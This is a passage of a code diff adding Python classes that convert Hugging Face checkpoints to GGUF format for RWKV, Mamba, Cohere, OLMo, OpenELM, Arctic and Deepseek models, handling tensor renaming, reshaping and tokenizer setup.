not in new_name: + try: + self.lerp_weights[bid][new_name] = data_torch + except KeyError: + self.lerp_weights[bid] = {new_name: data_torch} + if all(f"blk.{bid}.time_mix_lerp_{i}.weight" in self.lerp_weights[bid].keys() for i in ["w", "k", "v", "r", "g"]): + new_name = f"blk.{bid}.time_mix_lerp_fused.weight" + data = torch.stack([self.lerp_weights[bid][f"blk.{bid}.time_mix_lerp_{i}.weight"].unsqueeze(0) for i in ["w", "k", "v", "r", "g"]], dim=0).unsqueeze(1) + yield (new_name, data) + return + + yield (new_name, data_torch) + + +@ModelBase.register("RWKV6Qwen2ForCausalLM") +class RWKV6Qwen2Model(Rwkv6Model): + model_arch = gguf.MODEL_ARCH.RWKV6QWEN2 + + def set_vocab(self): + try: + self._set_vocab_sentencepiece() + except FileNotFoundError: + self._set_vocab_gpt2() + + def set_gguf_parameters(self): + block_count = self.hparams["num_hidden_layers"] + num_attention_heads = self.hparams["num_attention_heads"] + num_key_value_heads = self.hparams["num_key_value_heads"] + hidden_size = self.hparams["hidden_size"] + head_size = hidden_size // num_attention_heads + rms_norm_eps = self.hparams["rms_norm_eps"] + intermediate_size = self.hparams["intermediate_size"] + time_mix_extra_dim = self.hparams.get("lora_rank_tokenshift", 64 if hidden_size >= 4096 else 32) + time_decay_extra_dim = self.hparams.get("lora_rank_decay", 128 if hidden_size >= 4096 else 64) + + # RWKV isn't context limited + self.gguf_writer.add_context_length(1048576) + self.gguf_writer.add_embedding_length(hidden_size) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_wkv_head_size(head_size) + self.gguf_writer.add_time_mix_extra_dim(time_mix_extra_dim) + self.gguf_writer.add_time_decay_extra_dim(time_decay_extra_dim) + self.gguf_writer.add_feed_forward_length(intermediate_size) + self.gguf_writer.add_file_type(self.ftype) + + # special parameters for time_mixing in RWKV6QWEN2 + self.gguf_writer.add_layer_norm_rms_eps(rms_norm_eps) + self.gguf_writer.add_token_shift_count(1) + # RWKV6QWEN2 use grouped key/value like GQA + self.gguf_writer.add_head_count_kv(num_key_value_heads) + + # required by llama.cpp, unused + self.gguf_writer.add_head_count(0) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + for new_name, data in super().modify_tensors(data_torch, name, bid): + if "time_mix_w1" in new_name or "time_mix_w2" in new_name: + data = data.view(5, -1, data.shape[-1]) + # rwkv6qwen2 has a different order of rkvwg instead of the original wkvrg + # permute them here to avoid code changes + data = torch.stack([data[3], data[1], data[2], data[0], data[4]], dim=0).view(-1, data.shape[-1]) + if "w2" in new_name: + data = data.view(5, -1, data.shape[-1]) + yield (new_name, data) + continue + yield (new_name, data) + + +@ModelBase.register("Rwkv7ForCausalLM", "RWKV7ForCausalLM") +class Rwkv7Model(TextModel): + model_arch = gguf.MODEL_ARCH.RWKV7 + + def set_vocab(self): + self._set_vocab_rwkv_world() + + def calc_lora_rank(self, hidden_size, exponent, multiplier): + return max(1, round(hidden_size ** exponent * multiplier / 32)) * 32 + + def set_gguf_parameters(self): + block_count = self.hparams["num_hidden_layers"] + try: + head_size = self.hparams["head_size"] + layer_norm_eps = self.hparams["layer_norm_epsilon"] + except KeyError: + head_size = self.hparams["head_dim"] + layer_norm_eps = self.hparams["norm_eps"] + hidden_size = self.hparams["hidden_size"] + intermediate_size = self.hparams["intermediate_size"] if self.hparams["intermediate_size"] is not None else (hidden_size * 4) + + # ICLR: In-Context-Learning-Rate + try: + lora_rank_decay = self.hparams["lora_rank_decay"] if self.hparams["lora_rank_decay"] is not None else self.calc_lora_rank(hidden_size, 0.5, 1.8) + lora_rank_iclr = self.hparams["lora_rank_iclr"] if self.hparams["lora_rank_iclr"] is not None else self.calc_lora_rank(hidden_size, 0.5, 1.8) + lora_rank_value_residual_mix = self.hparams["lora_rank_value_residual_mix"] if self.hparams["lora_rank_value_residual_mix"] is not None else self.calc_lora_rank(hidden_size, 0.5, 1.3) + lora_rank_gate = self.hparams["lora_rank_gate"] if self.hparams["lora_rank_gate"] is not None else self.calc_lora_rank(hidden_size, 0.8, 0.6) + except KeyError: + lora_rank_decay = self.hparams["decay_low_rank_dim"] if self.hparams["decay_low_rank_dim"] is not None else self.calc_lora_rank(hidden_size, 0.5, 1.8) + lora_rank_iclr = self.hparams["a_low_rank_dim"] if self.hparams["a_low_rank_dim"] is not None else self.calc_lora_rank(hidden_size, 0.5, 1.8) + lora_rank_value_residual_mix = self.hparams["v_low_rank_dim"] if self.hparams["v_low_rank_dim"] is not None else self.calc_lora_rank(hidden_size, 0.5, 1.3) + lora_rank_gate = self.hparams["gate_low_rank_dim"] if self.hparams["gate_low_rank_dim"] is not None else self.calc_lora_rank(hidden_size, 0.8, 0.6) + + # RWKV isn't context limited + self.gguf_writer.add_context_length(1048576) + self.gguf_writer.add_embedding_length(hidden_size) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_layer_norm_eps(layer_norm_eps) + self.gguf_writer.add_wkv_head_size(head_size) + self.gguf_writer.add_decay_lora_rank(lora_rank_decay) + self.gguf_writer.add_iclr_lora_rank(lora_rank_iclr) + self.gguf_writer.add_value_residual_mix_lora_rank(lora_rank_value_residual_mix) + self.gguf_writer.add_gate_lora_rank(lora_rank_gate) + self.gguf_writer.add_feed_forward_length(intermediate_size) + self.gguf_writer.add_file_type(self.ftype) + + # required by llama.cpp, unused + self.gguf_writer.add_head_count(0) + + lerp_weights: dict[int, dict[str, Tensor]] = {} + lora_needs_transpose: bool = True + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + # unify tensor names here to make life easier + name = name.replace("blocks", "layers").replace("ffn", "feed_forward") + name = name.replace("self_attn", "attention").replace("attn", "attention") + name = name.replace("time_mixer.", "") + # lora layer names in fla-hub's impl + if "_lora.lora" in name: + self.lora_needs_transpose = False + name = name.replace("_lora.lora.0.weight", "1.weight") + name = name.replace("_lora.lora.2.weight", "2.weight") + name = name.replace("_lora.lora.2.bias", "0.weight") + + name = name.replace("feed_forward_norm", "ln2") + name = name.replace("g_norm", "ln_x") + + if "attention.v" in name and "value" not in self.map_tensor_name(name) and bid == 0: + # some models have dummy v0/v1/v2 on first layer while others don't + # ignore them all since they are not used + return + + wkv_has_gate = self.hparams.get("wkv_has_gate", True) + lerp_list = ["r", "w", "k", "v", "a", "g"] if wkv_has_gate else ["r", "w", "k", "v", "a"] + + if bid is not None and "attention.x_" in name: + if "attention.x_x" in name: + # already concatenated + new_name = f"blk.{bid}.time_mix_lerp_fused.weight" + data = data_torch.reshape(len(lerp_list), 1, 1, -1) + yield (new_name, data) + else: + try: + self.lerp_weights[bid][name] = data_torch + except KeyError: + self.lerp_weights[bid] = {name: data_torch} + if all(f"model.layers.{bid}.attention.x_{i}" in self.lerp_weights[bid].keys() for i in lerp_list): + new_name = f"blk.{bid}.time_mix_lerp_fused.weight" + data = torch.stack([self.lerp_weights[bid][f"model.layers.{bid}.attention.x_{i}"] for i in lerp_list], dim=0) + yield (new_name, data) + return + else: + data_torch = data_torch.squeeze() + new_name = self.map_tensor_name(name) + + if not (new_name.endswith(".weight") or new_name.endswith(".bias")): + new_name += ".weight" + + if self.lora_needs_transpose and any( + new_name.endswith(t) for t in [ + "time_mix_w1.weight", "time_mix_w2.weight", + "time_mix_a1.weight", "time_mix_a2.weight", + "time_mix_v1.weight", "time_mix_v2.weight", + "time_mix_g1.weight", "time_mix_g2.weight", + ] + ): + data_torch = data_torch.transpose(0, 1) + + if 'r_k' in new_name: + data_torch = data_torch.flatten() + + if bid == 0 and "time_mix_a" in new_name: + # dummy v0/v1/v2 on first layer + # easist way to make llama happy + yield (new_name.replace("time_mix_a", "time_mix_v"), data_torch) + + yield (new_name, data_torch) + + +@ModelBase.register("RwkvHybridForCausalLM") +class ARwkv7Model(Rwkv7Model): + model_arch = gguf.MODEL_ARCH.ARWKV7 + + def set_vocab(self): + try: + self._set_vocab_sentencepiece() + except FileNotFoundError: + self._set_vocab_gpt2() + + def set_gguf_parameters(self): + block_count = self.hparams["num_hidden_layers"] + hidden_size = self.hparams["hidden_size"] + head_size = self.hparams["head_size"] + rms_norm_eps = self.hparams["rms_norm_eps"] + intermediate_size = self.hparams["intermediate_size"] + wkv_has_gate = self.hparams["wkv_has_gate"] + assert self.hparams["wkv_version"] == 7 + + # ICLR: In-Context-Learning-Rate + lora_rank_decay = 64 + lora_rank_iclr = 64 + lora_rank_value_residual_mix = 32 + lora_rank_gate = 128 if wkv_has_gate else 0 + + # RWKV isn't context limited + self.gguf_writer.add_context_length(1048576) + self.gguf_writer.add_embedding_length(hidden_size) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_layer_norm_rms_eps(rms_norm_eps) + self.gguf_writer.add_wkv_head_size(head_size) + self.gguf_writer.add_decay_lora_rank(lora_rank_decay) + self.gguf_writer.add_iclr_lora_rank(lora_rank_iclr) + self.gguf_writer.add_value_residual_mix_lora_rank(lora_rank_value_residual_mix) + self.gguf_writer.add_gate_lora_rank(lora_rank_gate) + self.gguf_writer.add_feed_forward_length(intermediate_size) + self.gguf_writer.add_file_type(self.ftype) + self.gguf_writer.add_token_shift_count(1) + + # required by llama.cpp, unused + self.gguf_writer.add_head_count(0) + + +@ModelBase.register("MambaForCausalLM", "MambaLMHeadModel", "FalconMambaForCausalLM") +class MambaModel(TextModel): + model_arch = gguf.MODEL_ARCH.MAMBA + + def __init__(self, dir_model: Path, *args, **kwargs): + # Avoid using AutoConfig for hparams + hparams = kwargs.pop("hparams", None) + if hparams is None: + with open(dir_model / "config.json", "r", encoding="utf-8") as f: + hparams = json.load(f) + super().__init__(dir_model, *args, hparams=hparams, **kwargs) + + def set_vocab(self): + vocab_size = self.hparams["vocab_size"] + # Round vocab size to next multiple of 8 + pad_vocab = self.hparams.get("pad_vocab_size_multiple", 8) + # pad using ceiling division + # ref: https://stackoverflow.com/a/17511341/22827863 + vocab_size = -(vocab_size // -pad_vocab) * pad_vocab + self.hparams["vocab_size"] = vocab_size + + if (self.dir_model / "tokenizer.json").is_file(): + self._set_vocab_gpt2() + elif (self.dir_model / "tokenizer.model").is_file(): + self._set_vocab_sentencepiece() + else: + # Use the GPT-NeoX tokenizer when no tokenizer files are present + self._set_vocab_builtin("gpt-neox", vocab_size) + + def set_gguf_parameters(self): + d_model = self.find_hparam(["hidden_size", "d_model"]) + d_conv = self.find_hparam(["conv_kernel", "d_conv"], optional=True) or 4 + d_inner = self.find_hparam(["intermediate_size", "d_inner"], optional=True) or 2 * d_model + d_state = self.find_hparam(["state_size", "d_state"], optional=True) or 16 + # ceiling division + # ref: https://stackoverflow.com/a/17511341/22827863 + # ref: https://github.com/state-spaces/mamba/blob/ce59daea3a090d011d6476c6e5b97f6d58ddad8b/mamba_ssm/modules/mamba_simple.py#L58 + dt_rank = self.find_hparam(["time_step_rank", "dt_rank"], optional=True) or -(d_model // -16) + rms_norm_eps = self.find_hparam(["layer_norm_epsilon", "rms_norm_eps"], optional=True) or 1e-5 + use_dt_b_c_norm = False + # For falconmamba we do apply RMS norm on B / DT and C layers + if self.find_hparam(["model_type"], optional=True) in ("falcon_mamba",): + use_dt_b_c_norm = True + # Fail early for models which don't have a block expansion factor of 2 + assert d_inner == 2 * d_model + + self.gguf_writer.add_context_length(2**20) # arbitrary value; for those who use the default + self.gguf_writer.add_embedding_length(d_model) + self.gguf_writer.add_feed_forward_length(0) # unused, but seemingly required when loading + self.gguf_writer.add_head_count(0) # unused, but seemingly required when loading + self.gguf_writer.add_block_count(self.block_count) + self.gguf_writer.add_ssm_conv_kernel(d_conv) + self.gguf_writer.add_ssm_inner_size(d_inner) + self.gguf_writer.add_ssm_state_size(d_state) + self.gguf_writer.add_ssm_time_step_rank(dt_rank) + self.gguf_writer.add_layer_norm_rms_eps(rms_norm_eps) + self.gguf_writer.add_ssm_dt_b_c_rms(use_dt_b_c_norm) # For classic Mamba we don't apply rms norm on B / DT layers + self.gguf_writer.add_file_type(self.ftype) + + _tok_embd = None + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + output_name = self.format_tensor_name(gguf.MODEL_TENSOR.OUTPUT) + tok_embd_name = self.format_tensor_name(gguf.MODEL_TENSOR.TOKEN_EMBD) + + new_name = self.map_tensor_name(name) + + if name.endswith(".A_log"): + logger.debug("A_log --> A ==> " + new_name) + data_torch = -torch.exp(data_torch) + + # [4 1 8192 1] -> [4 8192 1 1] + if self.match_model_tensor_name(new_name, gguf.MODEL_TENSOR.SSM_CONV1D, bid): + data_torch = data_torch.squeeze() + + # assuming token_embd.weight is seen before output.weight + if self._tok_embd is not None and new_name == output_name: + if torch.equal(self._tok_embd, data_torch): + logger.debug(f"{output_name} is equivalent to {tok_embd_name}, omitting") + return [] + elif new_name == tok_embd_name: + self._tok_embd = data_torch + + return [(new_name, data_torch)] + + +@ModelBase.register("Mamba2ForCausalLM") +class Mamba2Model(TextModel): + model_arch = gguf.MODEL_ARCH.MAMBA2 + + def __init__(self, dir_model: Path, *args, **kwargs): + # Avoid using AutoConfig for hparams + # It wrongly assumes all Mamba2 models are Mamba-Codestral-7B-v0.1 + hparams = kwargs.pop("hparams", None) + if hparams is None: + with open(dir_model / "config.json", "r", encoding="utf-8") as f: + hparams = json.load(f) + super().__init__(dir_model, *args, hparams=hparams, **kwargs) + + def set_vocab(self): + vocab_size = self.hparams["vocab_size"] + # Round vocab size to next multiple of 16 + pad_vocab = self.hparams.get("pad_vocab_size_multiple", 16) + # pad using ceiling division + # ref: https://stackoverflow.com/a/17511341/22827863 + vocab_size = -(vocab_size // -pad_vocab) * pad_vocab + self.hparams["vocab_size"] = vocab_size + + if (self.dir_model / "tokenizer.model").is_file(): + self._set_vocab_sentencepiece() + elif (self.dir_model / "tokenizer.model.v3").is_file(): + # mamba-codestral + raise NotImplementedError(f"Please rename {self.dir_model / 'tokenizer.model.v3'} to {self.dir_model / 'tokenizer.model'}") + elif (self.dir_model / "tokenizer.json").is_file(): + self._set_vocab_gpt2() + else: + # Use the GPT-NeoX tokenizer when no tokenizer files are present + self._set_vocab_builtin("gpt-neox", vocab_size) + + def set_gguf_parameters(self): + d_model = self.find_hparam(["hidden_size", "d_model", "dim"]) + d_conv = self.find_hparam(["conv_kernel", "d_conv"], optional=True) or 4 + d_inner = self.find_hparam(["intermediate_size", "d_inner"], optional=True) or 2 * d_model + d_state = self.find_hparam(["state_size", "d_state"], optional=True) or 128 + head_dim = self.find_hparam(["head_dim"], optional=True) or 64 + n_group = self.find_hparam(["n_groups"], optional=True) or 1 + + rms_norm_eps = self.find_hparam(["layer_norm_epsilon", "rms_norm_eps"], optional=True) or 1e-5 + + # Fail early for models which don't have a block expansion factor of 2 + # TODO: does this really matter? + assert d_inner == 2 * d_model + assert d_inner % head_dim == 0 + + self.gguf_writer.add_context_length(2**20) # arbitrary value; for those who use the default + self.gguf_writer.add_embedding_length(d_model) + self.gguf_writer.add_feed_forward_length(0) # unused, but seemingly required when loading + self.gguf_writer.add_head_count(0) # unused, but seemingly required when loading + self.gguf_writer.add_block_count(self.block_count) + self.gguf_writer.add_ssm_conv_kernel(d_conv) + self.gguf_writer.add_ssm_inner_size(d_inner) + self.gguf_writer.add_ssm_state_size(d_state) + self.gguf_writer.add_ssm_time_step_rank(d_inner // head_dim) + self.gguf_writer.add_ssm_group_count(n_group) + self.gguf_writer.add_layer_norm_rms_eps(rms_norm_eps) + self.gguf_writer.add_file_type(self.ftype) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + + if name.startswith("model.backbone") or name.startswith("model.lm_head"): + # map Mamba-Codestral-7B-v0.1 tensor names to the names used by Mamba-2 + name = name.removeprefix("model.") + + if name.endswith(".dt_bias"): + name = name.rpartition(".dt_bias")[0] + ".dt_proj.bias" + + new_name = self.map_tensor_name(name) + + if self.match_model_tensor_name(new_name, gguf.MODEL_TENSOR.SSM_CONV1D, bid): + data_torch = data_torch.squeeze() + elif any(self.match_model_tensor_name(new_name, t, bid, suffix="") for t in [ + gguf.MODEL_TENSOR.SSM_A, + gguf.MODEL_TENSOR.SSM_D, + ]): + # unsqueeze A to use similar shape semantics as Mamba-1 + # (D is also unsqueezed, but for more straightforward broadcast internally) + data_torch = data_torch.reshape((*data_torch.shape, 1)) + elif self.match_model_tensor_name(new_name, gguf.MODEL_TENSOR.SSM_NORM, bid): + d_model = self.find_hparam(["hidden_size", "d_model", "dim"]) + d_inner = self.find_hparam(["intermediate_size", "d_inner"], optional=True) or 2 * d_model + n_group = self.hparams.get("n_groups", 1) + data_torch = data_torch.reshape((n_group, d_inner // n_group)) + + if name.endswith(".A_log"): + logger.debug("A_log --> A ==> " + new_name) + data_torch = -torch.exp(data_torch) + + yield (new_name, data_torch) + + +@ModelBase.register("CohereForCausalLM") +class CommandR2Model(TextModel): + model_arch = gguf.MODEL_ARCH.COMMAND_R + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + # max_position_embeddings = 8192 in config.json but model was actually + # trained on 128k context length + # aya-23 models don't have model_max_length specified + self.hparams["max_position_embeddings"] = self.find_hparam(["model_max_length", "max_position_embeddings"]) + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_logit_scale(self.hparams["logit_scale"]) + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.NONE) + + +@ModelBase.register("Cohere2ForCausalLM") +class Cohere2Model(TextModel): + model_arch = gguf.MODEL_ARCH.COHERE2 + + def set_gguf_parameters(self): + super().set_gguf_parameters() + + self.gguf_writer.add_logit_scale(self.hparams["logit_scale"]) + self.gguf_writer.add_sliding_window(self.hparams["sliding_window"]) + self.gguf_writer.add_vocab_size(self.hparams["vocab_size"]) + + rotary_pct = self.hparams["rotary_pct"] + hidden_size = self.hparams["hidden_size"] + num_attention_heads = self.hparams["num_attention_heads"] + self.gguf_writer.add_rope_dimension_count(int(rotary_pct * (hidden_size // num_attention_heads))) + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.NONE) + + +@ModelBase.register("OlmoForCausalLM") +@ModelBase.register("OLMoForCausalLM") +class OlmoModel(TextModel): + model_arch = gguf.MODEL_ARCH.OLMO + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_layer_norm_eps(1e-5) + clip_qkv = self.hparams.get("clip_qkv") + if clip_qkv is not None: + self.gguf_writer.add_clamp_kqv(clip_qkv) + + # Same as super class, but permuting q_proj, k_proj + # Copied from: LlamaModel + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + n_head = self.hparams["num_attention_heads"] + n_kv_head = self.hparams.get("num_key_value_heads") + + if name.endswith("q_proj.weight"): + data_torch = LlamaModel.permute(data_torch, n_head, n_head) + if name.endswith("k_proj.weight"): + data_torch = LlamaModel.permute(data_torch, n_head, n_kv_head) + + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("Olmo2ForCausalLM") +class Olmo2Model(TextModel): + model_arch = gguf.MODEL_ARCH.OLMO2 + + +@ModelBase.register("OlmoeForCausalLM") +class OlmoeModel(TextModel): + model_arch = gguf.MODEL_ARCH.OLMOE + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_layer_norm_rms_eps(1e-5) + if (n_experts := self.hparams.get("num_experts")) is not None: + self.gguf_writer.add_expert_count(n_experts) + + _experts: list[dict[str, Tensor]] | None = None + + # Copied from: Qwen2MoeModel + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + # process the experts separately + if name.find("experts") != -1: + n_experts = self.hparams["num_experts"] + assert bid is not None + + if self._experts is None: + self._experts = [{} for _ in range(self.block_count)] + + self._experts[bid][name] = data_torch + + if len(self._experts[bid]) >= n_experts * 3: + tensors: list[tuple[str, Tensor]] = [] + + # merge the experts into a single 3d tensor + for w_name in ["down_proj", "gate_proj", "up_proj"]: + datas: list[Tensor] = [] + + for xid in range(n_experts): + ename = f"model.layers.{bid}.mlp.experts.{xid}.{w_name}.weight" + datas.append(self._experts[bid][ename]) + del self._experts[bid][ename] + + data_torch = torch.stack(datas, dim=0) + + merged_name = f"model.layers.{bid}.mlp.experts.{w_name}.weight" + + new_name = self.map_tensor_name(merged_name) + + tensors.append((new_name, data_torch)) + return tensors + else: + return [] + + return [(self.map_tensor_name(name), data_torch)] + + # Copied from: Qwen2MoeModel + def prepare_tensors(self): + super().prepare_tensors() + + if self._experts is not None: + # flatten `list[dict[str, Tensor]]` into `list[str]` + experts = [k for d in self._experts for k in d.keys()] + if len(experts) > 0: + raise ValueError(f"Unprocessed experts: {experts}") + + +@ModelBase.register("JinaBertModel", "JinaBertForMaskedLM") +class JinaBertV2Model(BertModel): + model_arch = gguf.MODEL_ARCH.JINA_BERT_V2 + + def set_vocab(self): + tokenizer_class = 'BertTokenizer' + with open(self.dir_model / "tokenizer_config.json", "r", encoding="utf-8") as f: + tokenizer_class = json.load(f)['tokenizer_class'] + + if tokenizer_class == 'BertTokenizer': + super().set_vocab() + elif tokenizer_class == 'RobertaTokenizer': + self._set_vocab_gpt2() + self.gguf_writer.add_token_type_count(2) + else: + raise NotImplementedError(f'Tokenizer {tokenizer_class} is not supported for JinaBertModel') + + +@ModelBase.register("OpenELMForCausalLM") +class OpenELMModel(TextModel): + model_arch = gguf.MODEL_ARCH.OPENELM + + @staticmethod + def _make_divisible(v: float | int, divisor: int) -> int: + # ref: https://huggingface.co/apple/OpenELM-270M-Instruct/blob/eb111ff2e6724348e5b905984063d4064d4bc579/configuration_openelm.py#L34-L38 + new_v = max(divisor, int(v + divisor / 2) // divisor * divisor) + # Make sure that round down does not go down by more than 10%. + if new_v < 0.9 * v: + new_v += divisor + return new_v + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + ffn_multipliers: list[float] = self.hparams["ffn_multipliers"] + ffn_dim_divisor: int = self.hparams["ffn_dim_divisor"] + self._n_embd: int = self.hparams["model_dim"] + self._num_kv_heads: list[int] = self.hparams["num_kv_heads"] + self._num_query_heads: list[int] = self.hparams["num_query_heads"] + self._ffn_dims: list[int] = [ + OpenELMModel._make_divisible(multiplier * self._n_embd, ffn_dim_divisor) + for multiplier in ffn_multipliers + ] + assert isinstance(self._num_kv_heads, list) and isinstance(self._num_kv_heads[0], int) + assert isinstance(self._num_query_heads, list) and isinstance(self._num_query_heads[0], int) + + # Uses the tokenizer from meta-llama/Llama-2-7b-hf + def set_vocab(self): + try: + self._set_vocab_sentencepiece() + except FileNotFoundError: + self._set_vocab_builtin("llama-spm", self.hparams["vocab_size"]) + + def set_gguf_parameters(self): + n_embd = self._n_embd + head_dim = self.hparams["head_dim"] + rot_pct = 1.0 + assert self.block_count == len(self._num_kv_heads) + assert self.block_count == len(self._num_query_heads) + assert self.block_count == len(self._ffn_dims) + + self.gguf_writer.add_block_count(self.block_count) + self.gguf_writer.add_context_length(self.hparams["max_context_length"]) + self.gguf_writer.add_embedding_length(n_embd) + self.gguf_writer.add_feed_forward_length(self._ffn_dims) + self.gguf_writer.add_head_count(self._num_query_heads) + self.gguf_writer.add_head_count_kv(self._num_kv_heads) + self.gguf_writer.add_rope_freq_base(self.hparams["rope_freq_constant"]) + # https://huggingface.co/apple/OpenELM-270M-Instruct/blob/c401df2/modeling_openelm.py#L30 + self.gguf_writer.add_layer_norm_rms_eps(1e-6) + self.gguf_writer.add_rope_dimension_count(int(rot_pct * head_dim)) + self.gguf_writer.add_key_length(head_dim) + self.gguf_writer.add_value_length(head_dim) + self.gguf_writer.add_file_type(self.ftype) + + def find_hparam(self, keys: Iterable[str], optional: bool = False) -> Any: + if "n_layers" in keys: + return self.hparams["num_transformer_layers"] + + return super().find_hparam(keys, optional) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + + # split ff + if bid is not None and name == f"transformer.layers.{bid}.ffn.proj_1.weight": + ff_dim = self._ffn_dims[bid] + yield (self.format_tensor_name(gguf.MODEL_TENSOR.FFN_GATE, bid), data_torch[:ff_dim]) + yield (self.format_tensor_name(gguf.MODEL_TENSOR.FFN_UP, bid), data_torch[ff_dim:]) + return + + yield (self.map_tensor_name(name), data_torch) + + +@ModelBase.register("ArcticForCausalLM") +class ArcticModel(TextModel): + model_arch = gguf.MODEL_ARCH.ARCTIC + + def set_vocab(self): + # The reason for using a custom implementation here is that the + # snowflake-arctic-instruct model redefined tokens 31998 and 31999 from + # tokenizer.model and used them as BOS and EOS instead of adding new tokens. + from sentencepiece import SentencePieceProcessor + + tokenizer_path = self.dir_model / 'tokenizer.model' + + if not tokenizer_path.is_file(): + logger.error(f'Error: Missing {tokenizer_path}') + sys.exit(1) + + # Read the whole vocabulary from the tokenizer.model file + tokenizer = SentencePieceProcessor() + tokenizer.LoadFromFile(str(tokenizer_path)) + + vocab_size = self.hparams.get('vocab_size', tokenizer.vocab_size()) + + tokens: list[bytes] = [f"[PAD{i}]".encode("utf-8") for i in range(vocab_size)] + scores: list[float] = [-10000.0] * vocab_size + toktypes: list[int] = [SentencePieceTokenTypes.UNUSED] * vocab_size + + for token_id in range(tokenizer.vocab_size()): + + piece = tokenizer.IdToPiece(token_id) + text = piece.encode("utf-8") + score = tokenizer.GetScore(token_id) + + toktype = SentencePieceTokenTypes.NORMAL + if tokenizer.IsUnknown(token_id): + toktype = SentencePieceTokenTypes.UNKNOWN + elif tokenizer.IsControl(token_id): + toktype = SentencePieceTokenTypes.CONTROL + elif tokenizer.IsUnused(token_id): + toktype = SentencePieceTokenTypes.UNUSED + elif tokenizer.IsByte(token_id): + toktype = SentencePieceTokenTypes.BYTE + + tokens[token_id] = text + scores[token_id] = score + toktypes[token_id] = toktype + + # Use the added_tokens_decoder field from tokeniser_config.json as the source + # of information about added/redefined tokens and modify them accordingly. + tokenizer_config_file = self.dir_model / 'tokenizer_config.json' + if tokenizer_config_file.is_file(): + with open(tokenizer_config_file, "r", encoding="utf-8") as f: + tokenizer_config_json = json.load(f) + + if "added_tokens_decoder" in tokenizer_config_json: + added_tokens_decoder = tokenizer_config_json["added_tokens_decoder"] + for token_id, token_json in added_tokens_decoder.items(): + token_id = int(token_id) + if token_id >= vocab_size: + logger.debug(f'ignore token {token_id}: id is out of range, max={vocab_size - 1}') + continue + + token_content = token_json["content"] + token_type = SentencePieceTokenTypes.USER_DEFINED + token_score = -10000.0 + + # Map unk_token to UNKNOWN, other special tokens to CONTROL + # Set the score to 0.0 as in the original tokenizer.model + if ("special" in token_json) and token_json["special"]: + if token_content == tokenizer_config_json["unk_token"]: + token_type = SentencePieceTokenTypes.UNKNOWN + else: + token_type = SentencePieceTokenTypes.CONTROL + token_score = 0.0 + + logger.info(f"Setting added token {token_id} to '{token_content}' (type: {token_type}, score: {token_score:.2f})") + tokens[token_id] = token_content.encode("utf-8") + toktypes[token_id] = token_type + scores[token_id] = token_score + + self.gguf_writer.add_tokenizer_model("llama") + self.gguf_writer.add_tokenizer_pre("default") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_scores(scores) + self.gguf_writer.add_token_types(toktypes) + + special_vocab = gguf.SpecialVocab(self.dir_model, n_vocab=len(tokens)) + special_vocab.add_to_gguf(self.gguf_writer) + + def set_gguf_parameters(self): + super().set_gguf_parameters() + hparams = self.hparams + self.gguf_writer.add_vocab_size(hparams["vocab_size"]) + self.gguf_writer.add_rope_dimension_count(hparams["hidden_size"] // hparams["num_attention_heads"]) + + _experts: list[dict[str, Tensor]] | None = None + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + n_head = self.hparams["num_attention_heads"] + n_kv_head = self.hparams.get("num_key_value_heads") + + if name.endswith("q_proj.weight"): + data_torch = LlamaModel.permute(data_torch, n_head, n_head) + if name.endswith("k_proj.weight"): + data_torch = LlamaModel.permute(data_torch, n_head, n_kv_head) + + # process the experts separately + if name.find("block_sparse_moe.experts") != -1: + n_experts = self.hparams["num_local_experts"] + + assert bid is not None + + if self._experts is None: + self._experts = [{} for _ in range(self.block_count)] + + self._experts[bid][name] = data_torch + + if len(self._experts[bid]) >= n_experts * 3: + tensors: list[tuple[str, Tensor]] = [] + + # merge the experts into a single 3d tensor + for wid in ["w1", "w2", "w3"]: + datas: list[Tensor] = [] + + for xid in range(n_experts): + ename = f"model.layers.{bid}.block_sparse_moe.experts.{xid}.{wid}.weight" + datas.append(self._experts[bid][ename]) + del self._experts[bid][ename] + + data_torch = torch.stack(datas, dim=0) + + merged_name = f"layers.{bid}.feed_forward.experts.{wid}.weight" + + new_name = self.map_tensor_name(merged_name) + + tensors.append((new_name, data_torch)) + return tensors + else: + return [] + + return [(self.map_tensor_name(name), data_torch)] + + def prepare_tensors(self): + super().prepare_tensors() + + if self._experts is not None: + # flatten `list[dict[str, Tensor]]` into `list[str]` + experts = [k for d in self._experts for k in d.keys()] + if len(experts) > 0: + raise ValueError(f"Unprocessed experts: {experts}") + + +@ModelBase.register("DeepseekForCausalLM") +class DeepseekModel(TextModel): + model_arch = gguf.MODEL_ARCH.DEEPSEEK + + def set_vocab(self): + try: + self._set_vocab_sentencepiece() + except FileNotFoundError: + self._set_vocab_gpt2() + + def set_gguf_parameters(self): + super().set_gguf_parameters() + hparams = self.hparams + if (rope_dim := hparams.get("head_dim")) is None: + rope_dim = hparams["hidden_size"] // hparams["num_attention_heads"] + + self.gguf_writer.add_rope_dimension_count(rope_dim) + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.NONE) + self.gguf_writer.add_leading_dense_block_count(hparams["first_k_dense_replace"]) + self.gguf_writer.add_vocab_size(hparams["vocab_size"]) + 